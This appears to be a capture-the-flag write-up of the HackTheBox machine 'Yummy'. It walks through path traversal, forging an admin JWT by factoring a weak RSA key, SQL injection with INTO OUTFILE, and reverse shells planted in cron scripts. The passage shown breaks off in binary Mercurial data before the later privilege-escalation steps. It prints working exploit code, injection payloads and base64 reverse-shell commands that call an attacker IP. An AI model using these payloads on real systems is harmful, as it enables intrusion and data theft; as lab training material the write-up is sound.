runasdexter
HackTheBox
  • machines
    • Season 7
      • Backfire
      • EscapeTwo
    • Season 6
      • Heal
      • UnderPass
      • LinkVortex
      • BlockBlock
      • Alert
      • Certified
      • Chemistry
      • Instant
      • Yummy
      • Cicada
      • Trickster
      • Caption
      • MonitorsThree
      • Sightless
    • Season 5
      • MagicGardens
  • CHALLENGES
    • AI-ML
      • Easy
      • Medium
      • Hard
    • Blockchain
      • Very Easy
      • Easy
      • Medium
    • Crypto
      • Very Easy
      • Easy
      • Medium
      • Hard
      • Insane
    • Forensics
      • Very Easy
      • Easy
      • Medium
      • Hard
    • GamePwn
      • Very Easy
      • Easy
      • Medium
      • Hard
    • Hardware
      • Very Easy
      • Easy
      • Medium
      • Hard
    • Misc
      • Very Easy
      • Easy
      • Medium
    • Mobile
      • Very Easy
      • Easy
      • Medium
      • Hard
    • OSINT
      • Easy
      • Medium
    • Pwn
      • Very Easy
      • Easy
      • Medium
      • Hard
    • Reversing
      • Very Easy
      • Easy
      • Medium
      • Hard
    • Web
      • Very Easy
      • Easy
      • Medium
      • Hard
  • Cheatsheet
    • Pentest
      • Web Pentesting
    • Tools
Powered by GitBook
On this page
  • Synopsis
  • Enumeration
  • Nmap
  • Web - yummy.htb
  • File - crontab
  • File - app_backup.sh
  • File - table_cleanup.sh
  • File - dbmonitor.sh
  • File - backupapp.zip
  • Exploit
  • Crafting new JWT token - admindashboard access [ Updating role ]
  • Foothold
  • Pillaging - mysql database [ SQL injection ]
  • Shell - mysql [ user - Abusing write privilege ]
  • Privilege Escalation
  • Shell - www-data
  • Shell - qa [ pillaging www-data ]
  • Pillaging - qa [ user ]
  • Shell - dev [ hg pull ]
  • Pillaging - dev
  • Shell - root [ rsync ]
  • Proof of Concept
  1. machines
  2. Season 6

Yummy

PreviousInstantNextCicada

Last updated 3 months ago

Synopsis

Yummy is a hard linux machine created by . The yummy.htb website is used showing its menu and reserving the table. Registering and login into the website we can save the reservation in .ics file but saving reservation is vulnerable to Path traversal, by exploiting it we will gain the website source-code and scripts used in cron jobs. The source code reveals the /admindashboard directory in website and contains the code to create the JWT token using RSA key pair. The new JWT token can be forged to gain the access to /admindashboard. The search field is vulnerable to SQL injection and we can abuse it to gain the shell as mysql. One of the cronjob script is running by www-data and we will get the shell as www-data by replacing the content of the script by reverse shell payload. The www-data contains the qa user password in one of the binary file and we can ssh into qa user using that password. The qa user has a sudo privilege to run hg binary which we will exploit to gain the shell as dev. The dev user has a sudo privilege to run rsync binary, we exploit it and gain the shell as root.

OS
Difficulty
Points
Release Date
Retired Date

Linux

Hard

40

05-10-2024

22-02-2025


Enumeration

Nmap

Started the nmap scan and found ssh and http services running.

nmap -Pn -sC -sV --min-rate=1000 10.10.11.36 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-26 08:53 EST
Nmap scan report for yummy.htb (10.10.11.36)
Host is up (0.39s latency).
Not shown: 62793 closed tcp ports (conn-refused), 2740 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 a2:ed:65:77:e9:c4:2f:13:49:19:b0:b8:09:eb:56:36 (ECDSA)
|_  256 bc:df:25:35:5c:97:24:f2:69:b4:ce:60:17:50:3c:f0 (ED25519)
80/tcp open  http    Caddy httpd
|_http-server-header: Caddy
|_http-title: Yummy
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 231.39 seconds

Add the yummy.htb domain in /etc/hosts file.

Web - yummy.htb

The website is used to display the menu and book the reservation in yummy.

Creating the account and logging in gives us the access to the dashboard.

Booking a table gives the list of booked tables in dashboard and the option to cancel the reservation and save the calender.

Clicking on SAVE CALENDER and intercepting the request in burpsuite, the .ics file is exported and downloaded.

cat Yummy_reservation_20241227_011212.ics
BEGIN:VCALENDAR
VERSION:2.0
PRODID:ics.py - http://git.io/lLljaA
BEGIN:VEVENT
DESCRIPTION:Email: john@mail.com\nNumber of People: 2\nMessage: Hello
DTSTART:20241227T000000Z
SUMMARY:John
UID:0e6aa512-15ad-4746-8f60-0b051564a1b8@0e6a.org
END:VEVENT
END:VCALENDAR%

Replacing the .ics calender file name with another file the /exports endpoint was vulnerable to Path Traversal with which we can download the files from the system.

GET /export/../../../../../../etc/passwd HTTP/1.1
Host: yummy.htb
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://yummy.htb/dashboard
Accept-Encoding: gzip, deflate, br
Cookie: X-AUTH-Token=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6ImpvaG5AbWFpbC5jb20iLCJyb2xlIjoiY3VzdG9tZXJfZTQxNzRhM2YiLCJpYXQiOjE3MzUyNjE3MTAsImV4cCI6MTczNTI2NTMxMCwiandrIjp7Imt0eSI6IlJTQSIsIm4iOiI2NzczNDM5Nzg4NjYyODk4NDk4MTU4NjU1MDU4MTcxMDYyODM1MTQxODg0NDE2NjcwMjg2MjAzNjQ3MjQ1OTQ5ODUxMTYyMzkzODM5MzIzNTM5NDgzMTYyNTcyNDUyMDYxMTYwMDIyNjQ4NjY1MDk0MzUyMzIwNTI2NDcyMjI2NzM4NDc4MzEzNTk3Mzk2Mzc1MjczNjA0ODgwMzM4NTYxODE1NzMwNzg4NzQ0MTgyNjc3NjAwMjQ3OTAzNDA5NDQzMTY1MjI2NTk3MzY3MjAxMjY2MjgyMjQzNDUyMDQyODY1MDgyMTk1OTAwMzM3MzIzNDk3MjQ1MjM3MDk5ODcwMzM5NjE4MjY0NTY0NTk5MjE2OTkyNDEzMTU4OTkwMDY2OTM4OTUxOTg1NjQ0MjM1NDIzMjg2NDM5NyIsImUiOjY1NTM3fX0.AKs4rC7zXgXP1PVzM1ZvrA6SbANH2BNtGGkgvdtTbpqXRkeU0g2Pv1QNTGJ1gCBJvsZ1WwqacHHoGax6YVS7HX3IW-_fzWtflTqZtrWhd3FhQrlDw_SuN2DthhU2Ob2x0Au6xNww18rdMQTxLiFtehTSCgl9FpZDyZxPycQnLYazLqo; session=.eJyrVopPy0kszkgtVrKKrlZSKAFSSsWlycmpxcVKOkpBqcWpRWWJJZn5eQop-eV5OfmJKakpClAFaaU5OZVKsbU65GqMrQUAdo0urg.Z24B3A.AyCQvlyEgQkkAqVlM4EA3PkZSkA
Connection: keep-alive
passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
dhcpcd:x:100:65534:DHCP Client Daemon,,,:/usr/lib/dhcpcd:/bin/false
messagebus:x:101:102::/nonexistent:/usr/sbin/nologin
systemd-resolve:x:992:992:systemd Resolver:/:/usr/sbin/nologin
pollinate:x:102:1::/var/cache/pollinate:/bin/false
polkitd:x:991:991:User for polkitd:/:/usr/sbin/nologin
syslog:x:103:104::/nonexistent:/usr/sbin/nologin
uuidd:x:104:105::/run/uuidd:/usr/sbin/nologin
tcpdump:x:105:107::/nonexistent:/usr/sbin/nologin
tss:x:106:108:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:107:109::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:989:989:Firmware update daemon:/var/lib/fwupd:/usr/sbin/nologin
usbmux:x:108:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
dev:x:1000:1000:dev:/home/dev:/bin/bash
mysql:x:110:110:MySQL Server,,,:/nonexistent:/bin/false
caddy:x:999:988:Caddy web server:/var/lib/caddy:/usr/sbin/nologin
postfix:x:111:112::/var/spool/postfix:/usr/sbin/nologin
qa:x:1001:1001::/home/qa:/bin/bash
_laurel:x:996:987::/var/log/laurel:/bin/false

File - crontab

Downloading the crontab using the above Path Traversal vulnerability.

crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
# You can also override PATH, but by default, newer versions inherit it from the environment
#PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name command to be executed
17 *	* * *	root	cd / && run-parts --report /etc/cron.hourly
25 6	* * *	root	test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.daily; }
47 6	* * 7	root	test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; }
52 6	1 * *	root	test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; }
#
*/1 * * * * www-data /bin/bash /data/scripts/app_backup.sh
*/15 * * * * mysql /bin/bash /data/scripts/table_cleanup.sh
* * * * * mysql /bin/bash /data/scripts/dbmonitor.sh

Crontab contains the three files. Downloading it through Path Traversal.

File - app_backup.sh

app_backup.sh
#!/bin/bash

cd /var/www
/usr/bin/rm backupapp.zip
/usr/bin/zip -r backupapp.zip /opt/app

It contains the script to delete the previous backupapp.zip file and compressing the /opt/app folder contains recursively using zip in backupaap.zip file.

File - table_cleanup.sh

table_cleanup.sh
#!/bin/sh

/usr/bin/mysql -h localhost -u chef yummy_db -p'3wDo7gSRZIwIHRxZ!' < /data/scripts/sqlappointments.sql

It is used to login into mysql as chef user into yummy_db and outputting the contains of sqlappointments.sql.

File - dbmonitor.sh

dbmonitor.sh
#!/bin/bash

timestamp=$(/usr/bin/date)
service=mysql
response=$(/usr/bin/systemctl is-active mysql)

if [ "$response" != 'active' ]; then
    /usr/bin/echo "{\"status\": \"The database is down\", \"time\": \"$timestamp\"}" > /data/scripts/dbstatus.json
    /usr/bin/echo "$service is down, restarting!!!" | /usr/bin/mail -s "$service is down!!!" root
    latest_version=$(/usr/bin/ls -1 /data/scripts/fixer-v* 2>/dev/null | /usr/bin/sort -V | /usr/bin/tail -n 1)
    /bin/bash "$latest_version"
else
    if [ -f /data/scripts/dbstatus.json ]; then
        if grep -q "database is down" /data/scripts/dbstatus.json 2>/dev/null; then
            /usr/bin/echo "The database was down at $timestamp. Sending notification."
            /usr/bin/echo "$service was down at $timestamp but came back up." | /usr/bin/mail -s "$service was down!" root
            /usr/bin/rm -f /data/scripts/dbstatus.json
        else
            /usr/bin/rm -f /data/scripts/dbstatus.json
            /usr/bin/echo "The automation failed in some way, attempting to fix it."
            latest_version=$(/usr/bin/ls -1 /data/scripts/fixer-v* 2>/dev/null | /usr/bin/sort -V | /usr/bin/tail -n 1)
            /bin/bash "$latest_version"
        fi
    else
        /usr/bin/echo "Response is OK."
    fi
fi

[ -f dbstatus.json ] && /usr/bin/rm -f dbstatus.json
  • It checks whether the mysql is active or not, if not active it will add The database is down string in dbstaus.json file and tries to restart using the /data/scripts/fixer-v* script.

  • If the mysql is active it checks whether the dbstatus.json file is present or not, if it is present it checks for string database is down, then it will send the mail to root notifying that the database was down with timestamp else it will try to fix the database using the /data/scripts/fixer-v* script.

File - backupapp.zip

The backupapp.zip contains the app source code. The opt/app/app.py file reveals the mysql credential and the admindashboard directory is present in web and the username is administrator.

app.py
from flask import Flask, request, send_file, render_template, redirect, url_for, flash, jsonify, make_response
import tempfile
import os
import shutil
from datetime import datetime, timedelta, timezone
from urllib.parse import quote
from ics import Calendar, Event
from middleware.verification import verify_token
from config import signature
import pymysql.cursors
from pymysql.constants import CLIENT
import jwt
import secrets
import hashlib

app = Flask(__name__, static_url_path='/static')
temp_dir = ''
app.secret_key = secrets.token_hex(32)

db_config = {
    'host': '127.0.0.1',
    'user': 'chef',
    'password': '3wDo7gSRZIwIHRxZ!',
    'database': 'yummy_db',
    'cursorclass': pymysql.cursors.DictCursor,
    'client_flag': CLIENT.MULTI_STATEMENTS

}
----- SNIP -----
@app.route('/dashboard', methods=['GET', 'POST'])
def dashboard():
        validation = validate_login()
        if validation is None:
            return redirect(url_for('login'))
        elif validation == "administrator":
            return redirect(url_for('admindashboard'))
 
        connection = pymysql.connect(**db_config)
        try:
            with connection.cursor() as cursor:
                sql = "SELECT appointment_id, appointment_email, appointment_date, appointment_time, appointment_people, appointment_message FROM appointments WHERE appointment_email = %s"
                cursor.execute(sql, (validation,))
                connection.commit()
                appointments = cursor.fetchall()
                appointments_sorted = sorted(appointments, key=lambda x: x['appointment_id'])

        finally:
            connection.close()

        return render_template('dashboard.html', appointments=appointments_sorted)
----- SNIP -----

The opt/app/config/signature.py is used to create the session tokens for the web. It is generating the RSA key pair with random prime numbers and factor of n. If n is revealed we can modify the session tokens.

signature.py
#!/usr/bin/python3

from Crypto.PublicKey import RSA
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
import sympy


# Generate RSA key pair
q = sympy.randprime(2**19, 2**20)
n = sympy.randprime(2**1023, 2**1024) * q
e = 65537
p = n // q
phi_n = (p - 1) * (q - 1)
d = pow(e, -1, phi_n)
key_data = {'n': n, 'e': e, 'd': d, 'p': p, 'q': q}
key = RSA.construct((key_data['n'], key_data['e'], key_data['d'], key_data['p'], key_data['q']))
private_key_bytes = key.export_key()

private_key = serialization.load_pem_private_key(
    private_key_bytes,
    password=None,
    backend=default_backend()
)
public_key = private_key.public_key()

Exploit

Crafting new JWT token - admindashboard access [ Updating role ]

Previously intercepting the .ics file export request reveals the JWT token.

1

Register and login

Register in yummy.htb and intercept the login request in burpsuite. It will send two request login and dashboard. The dashboard request will give us JWT token.

2

Decoding JWT

3

Creating python script

With the help of AI I have created the python script to change the role of JWT token and create the JWT with new updated role.

exploit.py
import jwt
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.backends import default_backend
from Crypto.PublicKey import RSA
import sympy

# Given modulus n from the RSA key
n = 109873080449597652139616414197628621020044948737475133887379976169596461216626274091158854263148895976205351638673267753523409830532448773173847368252798043306038115018124338436300477375316945519965375573456298168346739776410678959990665566090967399030669281729007151761151053643103849636943148864916654765293781049

# Assuming you have the public exponent `e` and private exponent `d`
e = 65537  # Commonly used value for the public exponent in RSA

# You will need to factor `n` to get the private key components, like `p` and `q`
# We can factor `n` using sympy's factorint
factors = sympy.factorint(n)

# We assume that `n` is the product of two primes, so there should be exactly two factors
if len(factors) != 2:
    raise ValueError("Modulus n is not the product of exactly two primes!")

# Extract p and q
p, q = list(factors.keys())

# Compute Euler's totient function phi(n) = (p-1)*(q-1)
phi_n = (p - 1) * (q - 1)

# Compute the private exponent d using the modular inverse of e mod phi(n)
d = pow(e, -1, phi_n)

# Construct the RSA private key using the components (n, e, d, p, q)
key_data = (n, e, d, p, q)
private_key = RSA.construct(key_data)

# Create a private key object using cryptography for signing the JWT
private_key_pem = private_key.export_key()
private_key = serialization.load_pem_private_key(private_key_pem, password=None, backend=default_backend())

# 2. Example JWT token (you will replace this with your actual JWT token)
jwt_token = "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6ImRleHRlckBtYWlsLmNvbSIsInJvbGUiOiJjdXN0b21lcl8wNzU0MDIwNyIsImlhdCI6MTczNjIyMzM4NSwiZXhwIjoxNzM2MjI2OTg1LCJqd2siOnsia3R5IjoiUlNBIiwibiI6IjEwOTg3MzA4MDQ0OTU5NzY1MjEzOTYxNjQxNDE5NzYyODYyMTAyMDA0NDk0ODczNzQ3NTEzMzg4NzM3OTk3NjE2OTU5NjQ2MTIxNjYyNjI3NDA5MTE1ODg1NDI2MzE0ODg5NTk3NjIwNTM1MTYzODY3MzI2Nzc1MzUyMzQwOTgzMDUzMjQ0ODc3MzE3Mzg0NzM2ODI1Mjc5ODA0MzMwNjAzODExNTAxODEyNDMzODQzNjMwMDQ3NzM3NTMxNjk0NTUxOTk2NTM3NTU3MzQ1NjI5ODE2ODM0NjczOTc3NjQxMDY3ODk1OTk5MDY2NTU2NjA5MDk2NzM5OTAzMDY2OTI4MTcyOTAwNzE1MTc2MTE1MTA1MzY0MzEwMzg0OTYzNjk0MzE0ODg2NDkxNjY1NDc2NTI5Mzc4MTA0OSIsImUiOjY1NTM3fX0.BSKNJEkvfiAyHpQd3LQaTgcmnKl81mhnOBEB0BLKjNx5DIkeD4J53a9RMmWUYiaTCs1yglXiLNajnUKAxMvT-Lax-cd0EwBQyXfeIThrDmsdDPSPB-eQE4jk0MBKtnxWOYDw4ye7aBxYEbQxj7FC4UzVZXjtZmZYmezpNFdVJ_Tllb0"

# Decode the JWT token without verifying the signature (use verify_signature=False)
decoded_token = jwt.decode(jwt_token, options={"verify_signature": False})
print(f"Decoded Token: {decoded_token}")

# 3. Modify the role in the JWT payload
decoded_token['role'] = 'administrator'  # Change role to 'admin'

# 4. Re-encode the JWT with the updated payload and sign it using the private RSA key
new_jwt_token = jwt.encode(decoded_token, private_key, algorithm="RS256")

# 5. Print the updated JWT token
print(f"Updated JWT Token: {new_jwt_token}")

Replace the JWT token and value of n.

4

Execute the script

Create the python virtual environment and install the required packages.

pip3 install pyjwt cryptography sympy

We will get the new JWT token when executing the script with updated role.

python3 exploit.py
Decoded Token: {'email': 'dexter@mail.com', 'role': 'customer_539ab463', 'iat': 1739927812, 'exp': 1739931412, 'jwk': {'kty': 'RSA', 'n': '93308880925254948580376953744700473081497634010094238306960902032815311100878722925077964147045196214204049662537868512650005601618422537368737725473690878256403533323228180024091080793427481206401254378105323377197496832476389097101424108566369121412313716235431598860683920611139328553165613507148504296840527809', 'e': 65537}}
Updated JWT Token: eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6ImRleHRlckBtYWlsLmNvbSIsInJvbGUiOiJhZG1pbmlzdHJhdG9yIiwiaWF0IjoxNzM5OTI3ODEyLCJleHAiOjE3Mzk5MzE0MTIsImp3ayI6eyJrdHkiOiJSU0EiLCJuIjoiOTMzMDg4ODA5MjUyNTQ5NDg1ODAzNzY5NTM3NDQ3MDA0NzMwODE0OTc2MzQwMTAwOTQyMzgzMDY5NjA5MDIwMzI4MTUzMTExMDA4Nzg3MjI5MjUwNzc5NjQxNDcwNDUxOTYyMTQyMDQwNDk2NjI1Mzc4Njg1MTI2NTAwMDU2MDE2MTg0MjI1MzczNjg3Mzc3MjU0NzM2OTA4NzgyNTY0MDM1MzMzMjMyMjgxODAwMjQwOTEwODA3OTM0Mjc0ODEyMDY0MDEyNTQzNzgxMDUzMjMzNzcxOTc0OTY4MzI0NzYzODkwOTcxMDE0MjQxMDg1NjYzNjkxMjE0MTIzMTM3MTYyMzU0MzE1OTg4NjA2ODM5MjA2MTExMzkzMjg1NTMxNjU2MTM1MDcxNDg1MDQyOTY4NDA1Mjc4MDkiLCJlIjo2NTUzN319.B40wOKZv4sbD6bqzQasQQGY_SmLubVIxnRaT-iMI9JbfD5tTNoAZXVYVA1rqcxFUewb2cKJwN7bcceVxBp0qNS4bLP7qj8J87Ax2rP03iZ7HjZ4tyglSJ86kO-IGCPl_VFsCRvoHb-vrJRvbe1VcYwyaHCoBhBs0QiYnDWr-ZJU0Crg
5

Accessing /admindashboard

The role has been changed. Login using the new JWT token, the /admindashboard is accessed.


Foothold

Pillaging - mysql database [ SQL injection ]

The admindashboard shows us the list of seat booked by the costumers. It also contains the input field for searching. Testing for sql injection via sqlmap by intercepting the search request and saving it into request.txt file.

sqlmap -r request.txt --batch --dbs 

        ___
       __H__
 ___ ___[']_____ ___ ___  {1.8.3#stable}
|_ -| . [(]     | .'| . |
|___|_  ["]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 20:29:02 /2025-01-06/

[20:29:02] [INFO] parsing HTTP request from 'request.txt'
[20:29:02] [WARNING] provided value for parameter 's' is empty. Please, always use only valid parameter values so sqlmap could be able to run properly
Cookie parameter 'X-AUTH-Token' appears to hold anti-CSRF token. Do you want sqlmap to automatically update it in further requests? [y/N] N
[20:29:02] [INFO] resuming back-end DBMS 'mysql' 
[20:29:02] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: o (GET)
    Type: boolean-based blind
    Title: MySQL >= 5.0 boolean-based blind - ORDER BY, GROUP BY clause
    Payload: s=john&o=ASC,(SELECT (CASE WHEN (4192=4192) THEN 1 ELSE 4192*(SELECT 4192 FROM INFORMATION_SCHEMA.PLUGINS) END))

    Type: error-based
    Title: MySQL >= 5.1 error-based - ORDER BY, GROUP BY clause (EXTRACTVALUE)
    Payload: s=john&o=ASC,EXTRACTVALUE(8450,CONCAT(0x5c,0x717a6b7071,(SELECT (ELT(8450=8450,1))),0x7170717871))

    Type: time-based blind
    Title: MySQL >= 5.0.12 time-based blind - ORDER BY, GROUP BY clause
    Payload: s=john&o=ASC,(SELECT (CASE WHEN (8690=8690) THEN SLEEP(5) ELSE 8690 END))
---
[20:29:05] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0
[20:29:05] [INFO] fetching database names
[20:29:05] [INFO] resumed: 'information_schema'
[20:29:05] [INFO] resumed: 'performance_schema'
[20:29:05] [INFO] resumed: 'yummy_db'
available databases [3]:
[*] information_schema
[*] performance_schema
[*] yummy_db

[20:29:05] [INFO] fetched data logged to text files under '/home/dexter/.local/share/sqlmap/output/yummy.htb'
[20:29:05] [WARNING] your sqlmap version is outdated

[*] ending @ 20:29:05 /2025-01-06/

It is vulnerable to sql injection. The yummy_db doesn't provide much of the data and checking the privileges reveals the read and write privileges.

sqlmap -r request.txt --current-user --privileges 

database management system users privileges:
[*] 'chef'@'localhost' [1]:
    privilege: FILE

Shell - mysql [ user - Abusing write privilege ]

Methodology

The write privilege gives us the access to write to file and gain the reverse shell. Previously, we know that the dbmonitor.sh checks that the database is down string is present or not in dbstatus.json and runs the fixer-v* script, if it is not present. We can write into dbstatus.json with some other data and fixer-v* with reverse shell code and gain the reverse shell.

Exploit

1

Creating the base64 reverse shell payload

echo "/bin/bash -i >& /dev/tcp/10.10.16.5/8443 0>&1" | base64
L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE2LjUvODQ0MyAwPiYxCg==
2

Populating the files

Opening the nc listener and populating the dbstatus.json and fixer-v* files with the payload to gain the reverse shell.

http://yummy.htb/admindashboard?s=&o=ASC;SELECT%20%22echo%20L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE2LjUvOTQ0MyAwPiYxCg==|base64%20-d|bash%22%20INTO%20OUTFILE%20%27/data/scripts/fixer-v__%27;
http://yummy.htb/admindashboard?s=&o=ASC;SELECT%20%22echo%20L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE2LjUvOTQ0MyAwPiYxCg==|base64%20-d|bash%22%20INTO%20OUTFILE%20%27/data/scripts/dbstatus.json%27;
3

Getting the reverse shell as mysql

nc -lvnp 8443
Listening on 0.0.0.0 8443
Connection received on 10.10.11.36 36664
bash: cannot set terminal process group (17254): Inappropriate ioctl for device
bash: no job control in this shell
mysql@yummy:/var/spool/cron$ 

Privilege Escalation

Shell - www-data

Pillaging the mysql user doesn't gave us anything useful. Similarly the www-data user is running the app_backup.sh script and we can put the reverse shell payload and gain the shell as www-data user.

Open the nc listener and execute the below commands.

mysql@yummy:/var/spool/cron$ cd /data/scripts
cd /data/scripts
mysql@yummy:/data/scripts$ mv app_backup.sh app_backup.old
mv app_backup.sh app_backup.old
mysql@yummy:/data/scripts$ echo "echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE2LjUvOTQ0MyAwPiYxCg==|base64 -d|bash" > shell.sh
<LjE2LjUvOTQ0MyAwPiYxCg==|base64 -d|bash" > shell.sh
mysql@yummy:/data/scripts$ mv shell.sh app_backup.sh
mv shell.sh app_backup.sh
nc -lvnp 9443
Listening on 0.0.0.0 9443
Connection received on 10.10.11.36 37052
bash: cannot set terminal process group (17646): Inappropriate ioctl for device
bash: no job control in this shell
www-data@yummy:~$ 

Shell - qa [ pillaging www-data ]

The www-data contains app_qatesting directory, backupapp.zip and .bash_history file.

www-data@yummy:~$ ls -la
ls -la
total 6664
drwxr-xr-x  3 www-data www-data    4096 Jan  7 01:57 .
drwxr-xr-x 14 root     root        4096 May 27  2024 ..
drwxrwx---  7 www-data qa          4096 May 28  2024 app-qatesting
-rw-rw-r--  1 www-data www-data 6807760 Jan  7 01:57 backupapp.zip
lrwxrwxrwx  1 root     root           9 May 27  2024 .bash_history -> /dev/null

Searching the password word using grep in app-qatesting reveals different files containing the password word.

www-data@yummy:~/app-qatesting$ grep -r password .
grep -r password .
./app.py:    'password': '3wDo7gSRZIwIHRxZ!',
./app.py:        password = request.json.get('password')
./app.py:        password2 = hashlib.sha256(password.encode()).hexdigest()
./app.py:        if not email or not password:
./app.py:            return jsonify(message="email or password is missing"), 400
./app.py:                sql = "SELECT * FROM users WHERE email=%s AND password=%s"
./app.py:                cursor.execute(sql, (email, password2))
./app.py:                    return jsonify(message="Invalid email or password"), 401
./app.py:            password = hashlib.sha256(request.json.get('password').encode()).hexdigest()
./app.py:            if not email or not password:
./app.py:                return jsonify(error="email or password is missing"), 400
./app.py:                        sql = "INSERT INTO users (email, password, role_id) VALUES (%s, %s, %s)"
./app.py:                        cursor.execute(sql, (email, password, role_id))
./config/signature.py:    password=None,
grep: ./config/__pycache__/signature.cpython-311.pyc: binary file matches
grep: ./config/__pycache__/signature.cpython-312.pyc: binary file matches
./templates/register.html:                    <label for="password">Password:</label>
./templates/register.html:                    <input type="password" id="password" name="password">
./templates/register.html:                password: document.getElementById("password").value
./templates/login.html:                <label for="password">Password:</label>
./templates/login.html:                <input type="password" id="password" name="password">
./templates/login.html:                password: document.getElementById("password").value
grep: ./.hg/wcache/checkisexec: Permission denied
grep: ./.hg/store/data/app.py.i: binary file matches

The app.py.i binary file reveals the qa user password which we can use to ssh into the qa user.

www-data@yummy:~/app-qatesting$ cat .hg/store/data/app.py.i
cat .hg/store/data/app.py.i
	�!_��������qn�l��*��!�E�K�0v�K(�/�`_ MOj_ +�=L�3R���Zk�
��QL���{2�d\WQP] ���d��|(^����7�o�h�忩[���U[��=���!�~�33��R"�,�.Ah�z�x�����R�_�Y֓nS��s�Ч����
                                                                                           C�S������Z:L*"��}Z�ַ��&�_�
                                                                                                                    e��4�I�ևz�^x�U�~$$�{pn��3F9]�"�lG��#o�0�6�(rN[9��N��|��oG�c��O��Q��[U�(�0����i��`ɤ"B�DL$Pb2a��AV�����σ��f��Y���8���eO>�qZ+�G�?�+�Ũ��[~�$y6��0�<2�5�P��ښD$,9�(��Ym�ht��� �J�u�����g�c�w����L���,"p�<�LD$
                                                           ��k+�rv��G�R�d�j�A��B[�T�yغtm�>]*+E5�GM{b�W�����pD%۪^,&9�5���~�:��sX��N�����0�
Uj�dx��2gU����[��T�p{cI��D�v�S�TH��""����v;;IQy_f��ֺ��
                                                     ���
                                                        Z����Y.���}�]�V�V�뜳��
----- SNIP -----
��)q����e���%��ab�^�
c�(�/� �m��#)��	ϳ�m۶���C�O�6W�t[QRpn@/S��N����^d�
x�(�������                                       ���)|Lr:�c,�W�Vz�SDN�Z�/Jb|�%n8��`&^M����IG�:1t�n�����)}���K���>odyٿ$՘|��h�	4�զ�	A#�g�à`�+�j�0����d�|
�A�(*
     �f�
       E1(�/� ��$�&'app.secret_key = s.token_hex(32)
&u'cT sql = f"SELECT * FROM appointments WHERE_email LIKE %s"
�ɕp=��E(������##md5�P�����+v�Kw9    'user': 'chef',
    'password': '3wDo7gSRZIwIHRxZ!',
EJ*������uY�0��+2ܩ-]%���(�(�/�`O
�<.`������6�߽��}�v�v�@P��D�2ӕ�_�B�Mu;G
                                     �.-1
                                         ��D�	�kk��Y益H���ΣVps
                                                                �K�a�0�VW��;h�������B�
